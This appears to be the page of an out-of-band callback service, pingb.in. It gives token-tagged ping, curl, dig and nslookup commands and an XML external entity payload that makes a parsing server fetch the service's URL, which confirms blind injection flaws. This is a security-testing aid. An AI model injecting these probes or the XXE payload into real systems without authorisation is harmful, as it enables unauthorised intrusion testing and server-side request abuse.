$ ping -c1 -p 00304a6bbbab2f119afec0d12cf16300 pingb.in
 
$ curl pingb.in/p/304a6bbbab2f119afec0d12cf163
 
$ dig 304a6bbbab2f119afec0d12cf163 @pingb.in
 
$ dig 304a6bbbab2f119afec0d12cf163.ns.pingb.in
 
C:\> nslookup 304a6bbbab2f119afec0d12cf163 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/304a6bbbab2f119afec0d12cf163">]>
    <foo>&xxe;</foo>
 
Waiting for ping...